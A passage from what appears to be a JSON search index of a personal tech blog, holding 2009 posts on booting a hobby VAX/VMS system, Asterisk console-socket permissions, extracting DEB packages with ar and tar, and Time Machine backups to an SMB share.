style=\"color:#ae81ff\"\u003e04\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e59.19\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e The VAX\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eVMS system is now executing the system startup procedure.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %SET\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eI\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNEWAUDSRV, identification of new audit server process is \u003cspan style=\"color:#ae81ff\"\u003e00000088\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e The VAX\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eVMS system is now executing the site\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003especific startup commands.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %RUN\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eS\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ePROC_ID, identification of created process is 0000008C\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %NCP\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eW\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eFILOPE, File \u003cspan style=\"color:#66d9ef\"\u003eopen\u003c/span\u003e error , Permanent database\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %NML\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eE\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eOPENOUT, error opening SYS$SYSROOT:[SYSEXE]NETLOGING.DAT; as output\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eRMS\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eF\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ePLV, unsupported prolog version\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %NCP\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eW\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eOPEFAI, Operation failure\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %SYSTEM\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eF\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eTIMEOUT, device timeout\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e , timeout\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e , unit is active\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e , fatal hardware error\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %NCP\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eW\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eUNRCMP, Unrecognized component , Circuit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Circuit \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e SVA\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %NCP\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eI\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNOINFO, No information \u003cspan style=\"color:#66d9ef\"\u003ein\u003c/span\u003e database\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %RUN\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eS\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ePROC_ID, identification of created process is 0000008D\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Job NCPSTART (queue SYS$BATCH, entry \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) started on SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %RUN\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eS\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ePROC_ID, identification of created process is 0000008F\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %SET\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eI\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eINTSET, login interactive limit \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e, current interactive \u003cspan style=\"color:#66d9ef\"\u003evalue\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e27\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNOV\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2009\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e04\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e03\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e07\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Process SYSTEM_1 logged \u003cspan style=\"color:#66d9ef\"\u003eout\u003c/span\u003e at \u003cspan style=\"color:#ae81ff\"\u003e27\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNOV\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2009\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e04\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e03\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e08.62\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Accounting information:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Buffered I\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eO count:            \u003cspan style=\"color:#ae81ff\"\u003e3431\u003c/span\u003e         Peak working set size:     \u003cspan style=\"color:#ae81ff\"\u003e888\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Direct I\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eO count:              \u003cspan style=\"color:#ae81ff\"\u003e1440\u003c/span\u003e         Peak page file size:      \u003cspan style=\"color:#ae81ff\"\u003e3806\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Page faults:                  \u003cspan style=\"color:#ae81ff\"\u003e16606\u003c/span\u003e         Mounted volumes:             \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Charged CPU \u003cspan style=\"color:#66d9ef\"\u003etime\u003c/span\u003e:           \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e22.71\u003c/span\u003e   Elapsed \u003cspan style=\"color:#66d9ef\"\u003etime\u003c/span\u003e:     \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e02\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e18.06\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %\u003cspan style=\"color:#66d9ef\"\u003eDCL-S\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eRETURNED, control returned \u003cspan style=\"color:#66d9ef\"\u003eto\u003c/span\u003e process STARTUP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e $ SET DEFAULT SYS$SYSTEM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET DEFAULT SYS$SYSTEM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e $ RUN SYS$SYSTEM:AUTHORIZE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e RUN SYS$SYSTEM:AUTHORIZE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e UAF\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e MODIFY SYSTEM \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ePASSWORD\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003esystem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %UAF\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eI\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eMDFYMSG, user record(s) updated\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e UAF\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e EXIT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %UAF\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eI\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eDONEMSG, system authorization file modified\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %UAF\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eI\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eRDBNOMODS, no modifications made \u003cspan style=\"color:#66d9ef\"\u003eto\u003c/span\u003e rights \u003cspan style=\"color:#66d9ef\"\u003edata\u003c/span\u003e base\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e $ LOGOUT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e LOGOUT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SYSTEM       job terminated at \u003cspan style=\"color:#ae81ff\"\u003e27\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNOV\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2009\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e04\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e04\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e26.81\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Accounting information:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Buffered I\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eO count:              \u003cspan style=\"color:#ae81ff\"\u003e99\u003c/span\u003e         Peak working set size:    \u003cspan style=\"color:#ae81ff\"\u003e1056\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Direct I\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eO count:                \u003cspan style=\"color:#ae81ff\"\u003e46\u003c/span\u003e         Peak page file size:      \u003cspan style=\"color:#ae81ff\"\u003e3978\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Page faults:                    \u003cspan style=\"color:#ae81ff\"\u003e471\u003c/span\u003e         Mounted volumes:             \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Charged CPU \u003cspan style=\"color:#66d9ef\"\u003etime\u003c/span\u003e:           \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e00.41\u003c/span\u003e   Elapsed \u003cspan style=\"color:#66d9ef\"\u003etime\u003c/span\u003e:     \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e05\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e33.58\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Welcome \u003cspan style=\"color:#66d9ef\"\u003eto\u003c/span\u003e VAX\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eVMS V5.\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e2H4\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e Username:\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"My first VAX and VMS system"},{"content":"If you need to give asterisk operational permission to a simple user on linux system, first of all you can add it on asterisk group, then you can edit \u0026ldquo;asterisk.conf\u0026rdquo; usually on /etc/asterisk/ and give rwx permission to asterisk group like this (add if they don\u0026rsquo;t exist):\n[files] astctlpermissions =\u0026gt; 770 astctlowner =\u0026gt; asterisk astctlgroup =\u0026gt; asterisk astctl =\u0026gt; /var/run/asterisk/asterisk.ctl Restart asterisk to apply changes.\nCommon error (wrong socket permission):\n[leo@srv01 ~]$ /usr/sbin/asterisk -r Asterisk 1.4.22-4 RPM by vc-rpms@voipconsulting.nl, Copyright (C) 1999 - 2008 Digium, Inc. and others. Created by Mark Spencer Asterisk comes with ABSOLUTELY NO WARRANTY; type \u0026#39;core show warranty\u0026#39; for details. This is free software, with components licensed under the GNU General Public License version 2 and other licenses; you are welcome to redistribute it under certain conditions. Type \u0026#39;core show license\u0026#39; for details. ========================================================================= Unable to connect to remote asterisk (does /var/run/asterisk/asterisk.ctl exist?) [leo@srv01 ~]$ ","permalink":"https://www.deepreflect.net/2009/11/10/asterisk-permissions-and-ownership-for-the-socket-console/","summary":"\u003cp\u003eIf you need to give asterisk operational permission to a simple user on linux system, first of all you can add it on asterisk group, then you can edit \u0026ldquo;asterisk.conf\u0026rdquo; usually on /etc/asterisk/ and give rwx permission to asterisk group like this (add if they don\u0026rsquo;t exist):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[files]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eastctlpermissions \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e770\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eastctlowner \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e asterisk\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eastctlgroup \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e asterisk\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eastctl \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erun\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003easterisk\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003easterisk\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ectl\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRestart asterisk to apply changes.\u003c/p\u003e\n\u003cp\u003eCommon error (wrong socket permission):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv01 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esbin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003easterisk \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003er\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAsterisk \u003cspan style=\"color:#ae81ff\"\u003e1.4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e RPM by vc\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erpms\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003evoipconsulting\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enl, Copyright (C) \u003cspan style=\"color:#ae81ff\"\u003e1999\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2008\u003c/span\u003e Digium, Inc\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e others\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCreated by Mark Spencer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAsterisk comes with ABSOLUTELY NO WARRANTY; type \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;core show warranty\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e details\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThis is free software, with components licensed under the GNU General Public\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLicense version \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e other licenses; you are welcome to redistribute it under\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecertain conditions\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e Type \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;core show license\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e details\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e=========================================================================\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnable to connect to remote asterisk (does \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erun\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003easterisk\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003easterisk\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ectl exist\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv01 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Asterisk - permissions and ownership for the socket console"},{"content":"Some day ago, I wrote about RPM extraction, today I need content of DEB packcage, on the contrary of rpm systems debian package manager allow to extract natively by this command:\n#dpkg-deb -x somepackage.i386.deb But my problem is different, I not using Debian sytem, fortunately DEB files are \u0026ldquo;ar\u0026rdquo; archives, which contain three files:\ndebian-binary control.tar.gz data.tar.gz first, extract \u0026ldquo;ar\u0026rdquo; archive with this simple command:\n# ar vx somepackage.i386.deb\nthen extract the contents of data.tar.gz using tar:\n# tar -xzvf data.tar.gz\nOr, if you want, you can made in one step:\n# ar p somepackage.i386.deb data.tar.gz | tar zx\n","permalink":"https://www.deepreflect.net/2009/11/10/extract-file-from-deb-package/","summary":"\u003cp\u003eSome day ago, I wrote about RPM extraction, today I need content of DEB packcage, on the contrary of rpm systems debian package manager allow to extract natively by this command:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#dpkg-deb -x somepackage.i386.deb\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBut my problem is different, I not using Debian sytem, fortunately DEB files are \u0026ldquo;ar\u0026rdquo; archives, which contain three files:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003edebian-binary\u003c/li\u003e\n\u003cli\u003econtrol.tar.gz\u003c/li\u003e\n\u003cli\u003edata.tar.gz\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003efirst, extract \u0026ldquo;ar\u0026rdquo; archive with this simple command:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# ar vx somepackage.i386.deb\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003ethen extract the contents of data.tar.gz using tar:\u003c/p\u003e","title":"Extract files from DEB package"},{"content":"From OS X 10.5 (Leopard) Apple introduced Time Machine: a great combination of rsync/rsnapshot and a beautiful user interface. Time Machine works in two modes: 1. local volume on local area or 2. Time Capsule over network. Now I don\u0026rsquo;t wanna buy another box with apple logo over it for much $$$ when I have a lot of file servers on my network.\nNow I explain a few hoops to get this system to work:\nFirst: persuade Time Machine to see the SMB share as a Time Machine destination by activating the unsupported network drives feature by this console command:\n`\ndefaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1 `\nSecond: set up the file server with SMB dedicated share to Time Machine, create an appropriate disk image locally (see below) and copy it into share.\nTo create the disk image, you\u0026rsquo;ll need to find out two pieces of information about the computer you want to backup: its Computer Name and its Ethernet ID (Ethernet MAC address). The Computer Name is the one that you set in the Sharing System Preferences pane. For example my is \u0026ldquo;LeoBook2\u0026rdquo;.\nYou can get the Ethernet ID by this command (use wired mac nic even if you\u0026rsquo;ll be using wifi connection): `\nifconfig en0 | grep ether | sed s/://g | sed s/ether// `\nCompose image name following this syntax: Computer Name, followed by an underscore, followed by the Ethernet ID without the colons, followed by .sparsebundle (Ex. \u0026ldquo;LeoBook2_000d9358ca26.sparsebundle\u0026rdquo;).\nNow go to Terminal and type the following commands:\n`# DISK_IMAGE_NAME=\u0026ldquo;LeoBook2_000d9358ca26.sparsebundle\u0026rdquo;\nDISK_SIZE=200000 hdiutil create -library SPUD -megabytes $DISK_SIZE -fs HFS+J -type SPARSEBUNDLE -volname \u0026ldquo;$DISK_IMAGE_NAME\u0026rdquo; 